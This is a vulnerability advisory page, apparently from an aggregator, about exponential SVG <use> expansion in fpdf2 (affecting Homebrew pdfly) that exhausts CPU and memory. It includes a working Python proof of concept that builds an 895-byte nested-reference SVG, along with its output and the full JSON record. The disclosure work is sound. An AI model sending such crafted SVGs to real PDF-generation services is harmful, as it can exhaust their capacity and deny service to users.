BREW-PDFLY-CVE-2026-114610 (GHSA-WQW6-WPR3-45RH)
Vulnerability from osv_homebrew – Published: 2026-10-27 19:47 – Updated: 2026-10-31 20:06 – Source websiteSummary
fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.
This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.
Details
The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.
When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():
pdf_group.add_item(self.cross_references[ref])
GraphicsContext.add_item() uses clone=True by default and deep-copies the object:
def add_item(self, item, clone=True):
if clone:
item = deepcopy(item)
self.path_items.append(item)
An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.
ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.
PoC
This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.
import resource
import time
from fpdf import FPDF
groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
uses = f'<use href="#g{level - 1}"/>' * 8
groups.append(f'<g id="g{level}">{uses}</g>')
svg = (
'<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
'<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()
pdf = FPDF()
pdf.add_page()
limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()
try:
pdf.image(svg, w=10)
except MemoryError:
elapsed = time.perf_counter() - started
max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB
Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.
Impact
This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.
The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "fpdf2",
"resource_purl": "pkg:pypi/fpdf2@2.9.0",
"upstream_fixed_in": "2.8.8"
},
"package": {
"ecosystem": "Homebrew",
"name": "pdfly",
"purl": "pkg:brew/pdfly"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.5.1_25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/fpdf2@2.9.0",
"name": "fpdf2",
"resource": "fpdf2",
"strategy": "registry",
"subject_version": "2.9.0"
}
]
},
"details": "### Summary\n\nfpdf2 expands SVG `\u003cuse\u003e` references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during `FPDF.image()` processing.\n\nThis was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising `MemoryError`. \n\n### Details\n\nThe issue is in fpdf2\u0027s own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.\n\nWhen fpdf2 resolves an SVG reference, [`SVGObject.build_xref()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/svg.py#L1584) passes the referenced object to `GraphicsContext.add_item()`:\n\n```python\npdf_group.add_item(self.cross_references[ref])\n```\n\n[`GraphicsContext.add_item()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/drawing.py#L3618-L3633) uses `clone=True` by default and deep-copies the object:\n\n```python\ndef add_item(self, item, clone=True):\n if clone:\n item = deepcopy(item)\n self.path_items.append(item)\n```\n\nAn attacker can define `g1` as eight references to `g0`, `g2` as eight references to `g1`, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as `8^n`.\n\n`ResourceAccessPolicy` does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit `a3307f96a0d165831029b3fb644aee5a7ca03328` with `ResourceAccessPolicy.NONE`.\n\n### PoC\n\nThis was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.\n\n```python\nimport resource\nimport time\n\nfrom fpdf import FPDF\n\n\ngroups = [\u0027\u003cg id=\"g0\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\u0027]\nfor level in range(1, 6):\n uses = f\u0027\u003cuse href=\"#g{level - 1}\"/\u003e\u0027 * 8\n groups.append(f\u0027\u003cg id=\"g{level}\"\u003e{uses}\u003c/g\u003e\u0027)\n\nsvg = (\n \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"1\" height=\"1\"\u003e\u0027\n \u0027\u003cdefs\u003e\u0027 + \"\".join(groups) + \u0027\u003c/defs\u003e\u003cuse href=\"#g5\"/\u003e\u003c/svg\u003e\u0027\n).encode()\n\npdf = FPDF()\npdf.add_page()\n\nlimit = 128 * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nprint(f\"payload size: {len(svg)} bytes\")\nstarted = time.perf_counter()\n\ntry:\n pdf.image(svg, w=10)\nexcept MemoryError:\n elapsed = time.perf_counter() - started\n max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n print(f\"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB\")\n```\n\n```text\npayload size: 895 bytes\nMemoryError after 14.336s, max RSS: 115596 KiB\n```\n\nExecution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.\n\n### Impact\n\nThis is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to `FPDF.image()`. A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with `MemoryError`. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service\u0027s PDF generation capacity.\n\nThe payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.",
"id": "BREW-pdfly-CVE-2026-114610",
"modified": "2026-10-31T20:06:14Z",
"published": "2026-10-27T19:47:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/fpdf2/security/advisories/GHSA-wqw6-wpr3-45rh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114610"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/fpdf2/pull/1889"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/fpdf2/commit/d7bd1061205d50da6a541dadfdb9d66beb763f2f"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/fpdf2"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/fpdf2/releases/tag/2.8.8"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "fpdf2: Exponential SVG \u0027\u003cuse\u003e\u0027 expansion causes CPU and memory exhaustion in \u0027FPDF.image()\u0027",
"upstream": [
"GHSA-wqw6-wpr3-45rh",
"CVE-2026-114610"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.